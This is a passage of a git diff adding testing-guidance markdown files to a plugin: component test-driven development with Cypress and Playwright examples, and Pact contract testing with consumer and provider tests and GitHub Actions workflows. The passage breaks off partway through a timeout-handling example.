+- [ ] **Caching strategy**: node_modules, npm cache, browser binaries cached
+- [ ] **Timeout budgets**: Each job has reasonable timeout (10-30 min)
+- [ ] **Artifact retention**: 30 days for reports, 7 days for failure artifacts
+- [ ] **Parallelization**: Matrix strategy uses fail-fast: false
+- [ ] **Burn-in enabled**: Changed specs run 5-10x before merge
+- [ ] **wait-on app startup**: CI waits for app (wait-on: '<http://localhost:3000>')
+- [ ] **Secrets documented**: README lists required secrets (API keys, tokens)
+- [ ] **Local parity**: CI scripts runnable locally (npm run test:ci)
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD pipeline setup)
+- Related fragments: `selective-testing.md`, `playwright-config.md`, `test-quality.md`
+- CI tools: GitHub Actions, GitLab CI, CircleCI, Jenkins
+
+_Source: Murat CI/CD strategy blog, Playwright/Cypress workflow examples, enterprise production pipelines_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/component-tdd.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/component-tdd.md
new file mode 100644
index 0000000..d14ba8f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/component-tdd.md
@@ -0,0 +1,486 @@
+# Component Test-Driven Development Loop
+
+## Principle
+
+Start every UI change with a failing component test (`cy.mount`, Playwright component test, or RTL `render`). Follow the Red-Green-Refactor cycle: write a failing test (red), make it pass with minimal code (green), then improve the implementation (refactor). Ship only after the cycle completes. Keep component tests under 100 lines, isolated with fresh providers per test, and validate accessibility alongside functionality.
+
+## Rationale
+
+Component TDD provides immediate feedback during development. Failing tests (red) clarify requirements before writing code. Minimal implementations (green) prevent over-engineering. Refactoring with passing tests ensures changes don't break functionality. Isolated tests with fresh providers prevent state bleed in parallel runs. Accessibility assertions catch usability issues early. Visual debugging (Cypress runner, Storybook, Playwright trace viewer) accelerates diagnosis when tests fail.
+
+## Pattern Examples
+
+### Example 1: Red-Green-Refactor Loop
+
+**Context**: When building a new component, start with a failing test that describes the desired behavior. Implement just enough to pass, then refactor for quality.
+
+**Implementation**:
+
+```typescript
+// Step 1: RED - Write failing test
+// Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+});
+
+// Run test: FAILS - Button component doesn't exist yet
+// Error: "Cannot find module './Button'"
+
+// Step 2: GREEN - Minimal implementation
+// Button.tsx
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+};
+
+export const Button = ({ label, onClick }: ButtonProps) => {
+  return <button onClick={onClick}>{label}</button>;
+};
+
+// Run test: PASSES - Component renders and handles clicks
+
+// Step 3: REFACTOR - Improve implementation
+// Add disabled state, loading state, variants
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+  disabled?: boolean;
+  loading?: boolean;
+  variant?: 'primary' | 'secondary' | 'danger';
+};
+
+export const Button = ({
+  label,
+  onClick,
+  disabled = false,
+  loading = false,
+  variant = 'primary'
+}: ButtonProps) => {
+  return (
+    <button
+      onClick={onClick}
+      disabled={disabled || loading}
+      className={`btn btn-${variant}`}
+      data-testid="button"
+    >
+      {loading ? <Spinner /> : label}
+    </button>
+  );
+};
+
+// Step 4: Expand tests for new features
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Submit" disabled={true} />);
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should show spinner when loading', () => {
+    cy.mount(<Button label="Submit" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles', () => {
+    cy.mount(<Button label="Delete" variant="danger" />);
+    cy.get('button').should('have.class', 'btn-danger');
+  });
+});
+
+// Run tests: ALL PASS - Refactored component still works
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Submit" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Red: Write failing test first - clarifies requirements before coding
+- Green: Implement minimal code to pass - prevents over-engineering
+- Refactor: Improve code quality while keeping tests green
+- Expand: Add tests for new features after refactoring
+- Cycle repeats: Each new feature starts with a failing test
+
+### Example 2: Provider Isolation Pattern
+
+**Context**: When testing components that depend on context providers (React Query, Auth, Router), wrap them with required providers in each test to prevent state bleed between tests.
+
+**Implementation**:
+
+```typescript
+// test-utils/AllTheProviders.tsx
+import { FC, ReactNode } from 'react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { BrowserRouter } from 'react-router-dom';
+import { AuthProvider } from '../contexts/AuthContext';
+
+type Props = {
+  children: ReactNode;
+  initialAuth?: { user: User | null; token: string | null };
+};
+
+export const AllTheProviders: FC<Props> = ({ children, initialAuth }) => {
+  // Create NEW QueryClient per test (prevent state bleed)
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false }
+    }
+  });
+
+  return (
+    <QueryClientProvider client={queryClient}>
+      <BrowserRouter>
+        <AuthProvider initialAuth={initialAuth}>
+          {children}
+        </AuthProvider>
+      </BrowserRouter>
+    </QueryClientProvider>
+  );
+};
+
+// Cypress custom mount command
+// cypress/support/component.tsx
+import { mount } from 'cypress/react18';
+import { AllTheProviders } from '../../test-utils/AllTheProviders';
+
+Cypress.Commands.add('wrappedMount', (component, options = {}) => {
+  const { initialAuth, ...mountOptions } = options;
+
+  return mount(
+    <AllTheProviders initialAuth={initialAuth}>
+      {component}
+    </AllTheProviders>,
+    mountOptions
+  );
+});
+
+// Usage in tests
+// UserProfile.cy.tsx
+import { UserProfile } from './UserProfile';
+
+describe('UserProfile Component', () => {
+  it('should display user when authenticated', () => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user, token: 'fake-token' }
+    });
+
+    cy.contains('John Doe').should('be.visible');
+    cy.contains('john@example.com').should('be.visible');
+  });
+
+  it('should show login prompt when not authenticated', () => {
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user: null, token: null }
+    });
+
+    cy.contains('Please log in').should('be.visible');
+  });
+});
+
+// Playwright Component Test with providers
+import { test, expect } from '@playwright/experimental-ct-react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { UserProfile } from './UserProfile';
+import { AuthProvider } from '../contexts/AuthContext';
+
+test.describe('UserProfile Component', () => {
+  test('should display user when authenticated', async ({ mount }) => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+    const queryClient = new QueryClient();
+
+    const component = await mount(
+      <QueryClientProvider client={queryClient}>
+        <AuthProvider initialAuth={{ user, token: 'fake-token' }}>
+          <UserProfile />
+        </AuthProvider>
+      </QueryClientProvider>
+    );
+
+    await expect(component.getByText('John Doe')).toBeVisible();
+    await expect(component.getByText('john@example.com')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Create NEW providers per test (QueryClient, Router, Auth)
+- Prevents state pollution between tests
+- `initialAuth` prop allows testing different auth states
+- Custom mount command (`wrappedMount`) reduces boilerplate
+- Providers wrap component, not the entire test suite
+
+### Example 3: Accessibility Assertions
+
+**Context**: When testing components, validate accessibility alongside functionality using axe-core, ARIA roles, labels, and keyboard navigation.
+
+**Implementation**:
+
+```typescript
+// Cypress with axe-core
+// cypress/support/component.tsx
+import 'cypress-axe';
+
+// Form.cy.tsx
+import { Form } from './Form';
+
+describe('Form Component Accessibility', () => {
+  beforeEach(() => {
+    cy.wrappedMount(<Form />);
+    cy.injectAxe(); // Inject axe-core
+  });
+
+  it('should have no accessibility violations', () => {
+    cy.checkA11y(); // Run axe scan
+  });
+
+  it('should have proper ARIA labels', () => {
+    cy.get('input[name="email"]').should('have.attr', 'aria-label', 'Email address');
+    cy.get('input[name="password"]').should('have.attr', 'aria-label', 'Password');
+    cy.get('button[type="submit"]').should('have.attr', 'aria-label', 'Submit form');
+  });
+
+  it('should support keyboard navigation', () => {
+    // Tab through form fields
+    cy.get('input[name="email"]').focus().type('test@example.com');
+    cy.realPress('Tab'); // cypress-real-events plugin
+    cy.focused().should('have.attr', 'name', 'password');
+
+    cy.focused().type('password123');
+    cy.realPress('Tab');
+    cy.focused().should('have.attr', 'type', 'submit');
+
+    cy.realPress('Enter'); // Submit via keyboard
+    cy.contains('Form submitted').should('be.visible');
+  });
+
+  it('should announce errors to screen readers', () => {
+    cy.get('button[type="submit"]').click(); // Submit without data
+
+    // Error has role="alert" and aria-live="polite"
+    cy.get('[role="alert"]')
+      .should('be.visible')
+      .and('have.attr', 'aria-live', 'polite')
+      .and('contain', 'Email is required');
+  });
+
+  it('should have sufficient color contrast', () => {
+    cy.checkA11y(null, {
+      rules: {
+        'color-contrast': { enabled: true }
+      }
+    });
+  });
+});
+
+// Playwright with axe-playwright
+import { test, expect } from '@playwright/experimental-ct-react';
+import AxeBuilder from '@axe-core/playwright';
+import { Form } from './Form';
+
+test.describe('Form Component Accessibility', () => {
+  test('should have no accessibility violations', async ({ mount, page }) => {
+    await mount(<Form />);
+
+    const accessibilityScanResults = await new AxeBuilder({ page })
+      .analyze();
+
+    expect(accessibilityScanResults.violations).toEqual([]);
+  });
+
+  test('should support keyboard navigation', async ({ mount, page }) => {
+    const component = await mount(<Form />);
+
+    await component.getByLabel('Email address').fill('test@example.com');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByLabel('Password')).toBeFocused();
+
+    await component.getByLabel('Password').fill('password123');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByRole('button', { name: 'Submit form' })).toBeFocused();
+
+    await page.keyboard.press('Enter');
+    await expect(component.getByText('Form submitted')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Use `cy.checkA11y()` (Cypress) or `AxeBuilder` (Playwright) for automated accessibility scanning
+- Validate ARIA roles, labels, and live regions
+- Test keyboard navigation (Tab, Enter, Escape)
+- Ensure errors are announced to screen readers (`role="alert"`, `aria-live`)
+- Check color contrast meets WCAG standards
+
+### Example 4: Visual Regression Test
+
+**Context**: When testing components, capture screenshots to detect unintended visual changes. Use Playwright visual comparison or Cypress snapshot plugins.
+
+**Implementation**:
+
+```typescript
+// Playwright visual regression
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Visual Regression', () => {
+  test('should match primary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Primary" variant="primary" />);
+
+    // Capture and compare screenshot
+    await expect(component).toHaveScreenshot('button-primary.png');
+  });
+
+  test('should match secondary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Secondary" variant="secondary" />);
+    await expect(component).toHaveScreenshot('button-secondary.png');
+  });
+
+  test('should match disabled button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Disabled" disabled={true} />);
+    await expect(component).toHaveScreenshot('button-disabled.png');
+  });
+
+  test('should match loading button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component).toHaveScreenshot('button-loading.png');
+  });
+});
+
+// Cypress visual regression with percy or snapshot plugins
+import { Button } from './Button';
+
+describe('Button Visual Regression', () => {
+  it('should match primary button snapshot', () => {
+    cy.wrappedMount(<Button label="Primary" variant="primary" />);
+
+    // Option 1: Percy (cloud-based visual testing)
+    cy.percySnapshot('Button - Primary');
+
+    // Option 2: cypress-plugin-snapshots (local snapshots)
+    cy.get('button').toMatchImageSnapshot({
+      name: 'button-primary',
+      threshold: 0.01 // 1% threshold for pixel differences
+    });
+  });
+
+  it('should match hover state', () => {
+    cy.wrappedMount(<Button label="Hover Me" />);
+    cy.get('button').realHover(); // cypress-real-events
+    cy.percySnapshot('Button - Hover State');
+  });
+
+  it('should match focus state', () => {
+    cy.wrappedMount(<Button label="Focus Me" />);
+    cy.get('button').focus();
+    cy.percySnapshot('Button - Focus State');
+  });
+});
+
+// Playwright configuration for visual regression
+// playwright.config.ts
+export default defineConfig({
+  expect: {
+    toHaveScreenshot: {
+      maxDiffPixels: 100, // Allow 100 pixels difference
+      threshold: 0.2 // 20% threshold
+    }
+  },
+  use: {
+    screenshot: 'only-on-failure'
+  }
+});
+
+// Update snapshots when intentional changes are made
+// npx playwright test --update-snapshots
+```
+
+**Key Points**:
+
+- Playwright: Use `toHaveScreenshot()` for built-in visual comparison
+- Cypress: Use Percy (cloud) or snapshot plugins (local) for visual testing
+- Capture different states: default, hover, focus, disabled, loading
+- Set threshold for acceptable pixel differences (avoid false positives)
+- Update snapshots when visual changes are intentional
+- Visual tests catch unintended CSS/layout regressions
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (component test generation), `*automate` (component test expansion), `*framework` (component testing setup)
+- **Related fragments**:
+  - `test-quality.md` - Keep component tests <100 lines, isolated, focused
+  - `fixture-architecture.md` - Provider wrapping patterns, custom mount commands
+  - `data-factories.md` - Factory functions for component props
+  - `test-levels-framework.md` - When to use component tests vs E2E tests
+
+## TDD Workflow Summary
+
+**Red-Green-Refactor Cycle**:
+
+1. **Red**: Write failing test describing desired behavior
+2. **Green**: Implement minimal code to make test pass
+3. **Refactor**: Improve code quality, tests stay green
+4. **Repeat**: Each new feature starts with failing test
+
+**Component Test Checklist**:
+
+- [ ] Test renders with required props
+- [ ] Test user interactions (click, type, submit)
+- [ ] Test different states (loading, error, disabled)
+- [ ] Test accessibility (ARIA, keyboard navigation)
+- [ ] Test visual regression (snapshots)
+- [ ] Isolate with fresh providers (no state bleed)
+- [ ] Keep tests <100 lines (split by intent)
+
+_Source: CCTDD repository, Murat component testing talks, Playwright/Cypress component testing docs._
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/contract-testing.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/contract-testing.md
new file mode 100644
index 0000000..443c46a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/contract-testing.md
@@ -0,0 +1,1050 @@
+# Contract Testing Essentials (Pact)
+
+## Principle
+
+Contract testing validates API contracts between consumer and provider services without requiring integrated end-to-end tests. Store consumer contracts alongside integration specs, version contracts semantically, and publish on every CI run. Provider verification before merge surfaces breaking changes immediately, while explicit fallback behavior (timeouts, retries, error payloads) captures resilience guarantees in contracts.
+
+> **Pact.js Utils Note**: When `tea_use_pactjs_utils` is enabled, prefer the patterns in the `pactjs-utils-*.md` fragments over the raw Pact.js patterns shown below. The pactjs-utils library eliminates boilerplate for provider states, verifier configuration, and request filters. See `pactjs-utils-overview.md` for the decision tree.
+
+## Rationale
+
+Traditional integration testing requires running both consumer and provider simultaneously, creating slow, flaky tests with complex setup. Contract testing decouples services: consumers define expectations (pact files), providers verify against those expectations independently. This enables parallel development, catches breaking changes early, and documents API behavior as executable specifications. Pair contract tests with API smoke tests to validate data mapping and UI rendering in tandem.
+
+> **Recommended**: When `tea_use_pactjs_utils` is enabled, use `@seontechnologies/pactjs-utils` utilities instead of the manual patterns below. The library handles JsonMap conversion, verifier configuration, and request filter assembly automatically. See the `pactjs-utils-overview.md`, `pactjs-utils-consumer-helpers.md`, `pactjs-utils-provider-verifier.md`, and `pactjs-utils-request-filter.md` fragments for the simplified approach.
+
+## Pattern Examples
+
+### Example 1: Pact Consumer Test (Frontend → Backend API)
+
+**Context**: React application consuming a user management API, defining expected interactions.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, createUser, User } from '@/api/user-service';
+
+const { like, eachLike, string, integer } = MatchersV3;
+
+/**
+ * Consumer-Driven Contract Test
+ * - Consumer (React app) defines expected API behavior
+ * - Generates pact file for provider to verify
+ * - Runs in isolation (no real backend required)
+ */
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts', // Output directory for pact files
+  logLevel: 'warn',
+});
+
+describe('User API Contract', () => {
+  describe('GET /users/:id', () => {
+    it('should return user when user exists', async () => {
+      // Arrange: Define expected interaction
+      await provider
+        .given('user with id 1 exists') // Provider state
+        .uponReceiving('a request for user 1')
+        .withRequest({
+          method: 'GET',
+          path: '/users/1',
+          headers: {
+            Accept: 'application/json',
+            Authorization: like('Bearer token123'), // Matcher: any string
+          },
+        })
+        .willRespondWith({
+          status: 200,
+          headers: {
+            'Content-Type': 'application/json',
+          },
+          body: like({
+            id: integer(1),
+            name: string('John Doe'),
+            email: string('john@example.com'),
+            role: string('user'),
+            createdAt: string('2025-01-15T10:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          // Act: Call consumer code against mock server
+          const user = await getUserById(1, {
+            baseURL: mockServer.url,
+            headers: { Authorization: 'Bearer token123' },
+          });
+
+          // Assert: Validate consumer behavior
+          expect(user).toEqual(
+            expect.objectContaining({
+              id: 1,
+              name: 'John Doe',
+              email: 'john@example.com',
+              role: 'user',
+            }),
+          );
+        });
+    });
+
+    it('should handle 404 when user does not exist', async () => {
+      await provider
+        .given('user with id 999 does not exist')
+        .uponReceiving('a request for non-existent user')
+        .withRequest({
+          method: 'GET',
+          path: '/users/999',
+          headers: { Accept: 'application/json' },
+        })
+        .willRespondWith({
+          status: 404,
+          headers: { 'Content-Type': 'application/json' },
+          body: {
+            error: 'User not found',
+            code: 'USER_NOT_FOUND',
+          },
+        })
+        .executeTest(async (mockServer) => {
+          // Act & Assert: Consumer handles 404 gracefully
+          await expect(getUserById(999, { baseURL: mockServer.url })).rejects.toThrow('User not found');
+        });
+    });
+  });
+
+  describe('POST /users', () => {
+    it('should create user and return 201', async () => {
+      const newUser: Omit<User, 'id' | 'createdAt'> = {
+        name: 'Jane Smith',
+        email: 'jane@example.com',
+        role: 'admin',
+      };
+
+      await provider
+        .given('no users exist')
+        .uponReceiving('a request to create a user')
+        .withRequest({
+          method: 'POST',
+          path: '/users',
+          headers: {
+            'Content-Type': 'application/json',
+            Accept: 'application/json',
+          },
+          body: newUser,
+        })
+        .willRespondWith({
+          status: 201,
+          headers: { 'Content-Type': 'application/json' },
+          body: like({
+            id: integer(2),
+            name: string('Jane Smith'),
+            email: string('jane@example.com'),
+            role: string('admin'),
+            createdAt: string('2025-01-15T11:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          const createdUser = await createUser(newUser, {
+            baseURL: mockServer.url,
+          });
+
+          expect(createdUser).toEqual(
+            expect.objectContaining({
+              id: expect.any(Number),
+              name: 'Jane Smith',
+              email: 'jane@example.com',
+              role: 'admin',
+            }),
+          );
+        });
+    });
+  });
+});
+```
+
+**package.json scripts** (when using pactjs-utils conventions, prefer `test:pact:consumer` naming — see `pact-consumer-framework-setup.md`):
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh"
+  }
+}
+```
+
+**Key Points**:
+
+- **Consumer-driven**: Frontend defines expectations, not backend
+- **Matchers (Postel's Law)**: Use `like`, `string`, `integer` matchers in `willRespondWith` (responses) for flexible matching. Do NOT use `like()` on request bodies in `withRequest` — the consumer controls what it sends, so request bodies should use exact values. This follows Postel's Law: be strict in what you send (requests), be lenient in what you accept (responses).
+- **Provider states**: given() sets up test preconditions
+- **Isolation**: No real backend needed, runs fast
+- **Pact generation**: Automatically creates JSON pact files
+
+---
+
+### Example 2: Pact Provider Verification (Backend validates contracts)
+
+**Context**: Node.js/Express API verifying pacts published by consumers.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.provider.spec.ts
+import { Verifier, VerifierOptions } from '@pact-foundation/pact';
+import { server } from '../../src/server'; // Your Express/Fastify app
+import { seedDatabase, resetDatabase } from '../support/db-helpers';
+
+/**
+ * Provider Verification Test
+ * - Provider (backend API) verifies against published pacts
+ * - State handlers setup test data for each interaction
+ * - Runs before merge to catch breaking changes
+ */
+
+describe('Pact Provider Verification', () => {
+  let serverInstance;
+  const PORT = 3001;
+
+  beforeAll(async () => {
+    // Start provider server
+    serverInstance = server.listen(PORT);
+    console.log(`Provider server running on port ${PORT}`);
+  });
+
+  afterAll(async () => {
+    // Cleanup
+    await serverInstance.close();
+  });
+
+  it('should verify pacts from all consumers', async () => {
+    const opts: VerifierOptions = {
+      // Provider details
+      provider: 'user-api-service',
+      providerBaseUrl: `http://localhost:${PORT}`,
+
+      // Pact Broker configuration
+      pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+      pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+      publishVerificationResult: process.env.CI === 'true',
+      providerVersion: process.env.GITHUB_SHA || 'dev',
+
+      // State handlers: Setup provider state for each interaction
+      stateHandlers: {
+        'user with id 1 exists': async () => {
+          await seedDatabase({
+            users: [
+              {
+                id: 1,
+                name: 'John Doe',
+                email: 'john@example.com',
+                role: 'user',
+                createdAt: '2025-01-15T10:00:00Z',
+              },
+            ],
+          });
+          return 'User seeded successfully';
+        },
+
+        'user with id 999 does not exist': async () => {
+          // Ensure user doesn't exist
+          await resetDatabase();
+          return 'Database reset';
+        },
+
+        'no users exist': async () => {
+          await resetDatabase();
+          return 'Database empty';
+        },
+      },
+
+      // Request filters: Add auth headers to all requests
+      requestFilter: (req, res, next) => {
+        // Mock authentication for verification
+        req.headers['x-user-id'] = 'test-user';
+        req.headers['authorization'] = 'Bearer valid-test-token';
+        next();
+      },
+
+      // Timeout for verification
+      timeout: 30000,
+    };
+
+    // Run verification
+    await new Verifier(opts).verifyProvider();
+  });
+});
+```
+
+**CI integration**:
+
+```yaml
+# .github/workflows/contract-test-provider.yml
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start database
+        run: docker-compose up -d postgres
+
+      - name: Run migrations
+        run: npm run db:migrate
+
+      - name: Verify pacts
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I Deploy?
+        if: github.ref == 'refs/heads/main'
+        run: npm run can:i:deploy:provider
+```
+
+**Key Points**:
+
+- **State handlers**: Setup provider data for each given() state
+- **Request filters**: Add auth/headers for verification requests
+- **CI publishing**: Verification results sent to broker
+- **can-i-deploy**: Safety check before production deployment
+- **Database isolation**: Reset between state handlers
+
+---
+
+### Example 3: Contract CI Integration (Consumer & Provider Workflow)
+
+**Context**: Simplified overview of consumer and provider CI coordination. For the complete consumer CI workflow with env blocks, concurrency, and breaking-change detection, see `pact-consumer-framework-setup.md` Example 5.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/contract-test-consumer.yml (Consumer side)
+# NOTE: Canonical naming is contract-test-consumer.yml per pactjs-utils conventions
+name: Pact Consumer Tests
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  consumer-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      - name: Publish pacts to broker
+        run: npm run publish:pact
+
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+```yaml
+# .github/workflows/contract-test-provider.yml (Provider side)
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+  repository_dispatch:
+    types: [pact_changed] # Webhook from Pact Broker
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start dependencies
+        run: docker-compose up -d
+
+      - name: Run provider verification
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I deploy provider? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:provider
+
+      - name: Record provider deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:provider:deployment --env=dev
+```
+
+**Pact Broker Webhook Configuration**:
+
+```json
+{
+  "events": [
+    {
+      "name": "contract_content_changed"
+    }
+  ],
+  "request": {
+    "method": "POST",
+    "url": "https://api.github.com/repos/your-org/user-api/dispatches",
+    "headers": {
+      "Authorization": "Bearer ${user.githubToken}",
+      "Content-Type": "application/json",
+      "Accept": "application/vnd.github.v3+json"
+    },
+    "body": {
+      "event_type": "pact_changed",
+      "client_payload": {
+        "pact_url": "${pactbroker.pactUrl}",
+        "consumer": "${pactbroker.consumerName}",
+        "provider": "${pactbroker.providerName}"
+      }
+    }
+  }
+}
+```
+
+**Key Points**:
+
+- **Automatic trigger**: Consumer pact changes trigger provider verification via webhook
+- **Branch tracking**: Pacts published per branch for feature testing
+- **can-i-deploy**: Safety gate before production deployment
+- **Record deployment**: Track which version is in each environment
+- **Parallel dev**: Consumer and provider teams work independently
+
+---
+
+### Example 4: Resilience Coverage (Testing Fallback Behavior)
+
+**Context**: Capture timeout, retry, and error handling behavior explicitly in contracts.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api-resilience.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, ApiError } from '@/api/user-service';
+
+const { like, string } = MatchersV3;
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts',
+});
+
+describe('User API Resilience Contract', () => {
+  /**
+   * Test 500 error handling
+   * Verifies consumer handles server errors gracefully
+   */
+  it('should handle 500 errors with retry logic', async () => {
+    await provider
+      .given('server is experiencing errors')
+      .uponReceiving('a request that returns 500')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+        headers: { Accept: 'application/json' },
+      })
+      .willRespondWith({
+        status: 500,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+          retryable: true,
+        },
+      })
+      .executeTest(async (mockServer) => {
+        // Consumer should retry on 500
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            retries: 3,
+            retryDelay: 100,
+          });
+          fail('Should have thrown error after retries');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('INTERNAL_ERROR');
+          expect((error as ApiError).retryable).toBe(true);
+        }
+      });
+  });
+
+  /**
+   * Test 429 rate limiting
+   * Verifies consumer respects rate limits
+   */
+  it('should handle 429 rate limit with backoff', async () => {
+    await provider
+      .given('rate limit exceeded for user')
+      .uponReceiving('a request that is rate limited')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 429,
+        headers: {
+          'Content-Type': 'application/json',
+          'Retry-After': '60', // Retry after 60 seconds
+        },
+        body: {
+          error: 'Too many requests',
+          code: 'RATE_LIMIT_EXCEEDED',
+        },
+      })
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            respectRateLimit: true,
+          });
+          fail('Should have thrown rate limit error');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('RATE_LIMIT_EXCEEDED');
+          expect((error as ApiError).retryAfter).toBe(60);
+        }
+      });
+  });
+
+  /**
+   * Test timeout handling
+   * Verifies consumer has appropriate timeout configuration
+   */
+  it('should timeout after 10 seconds', async () => {
+    await provider
+      .given('server is slow to respond')
+      .uponReceiving('a request that times out')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
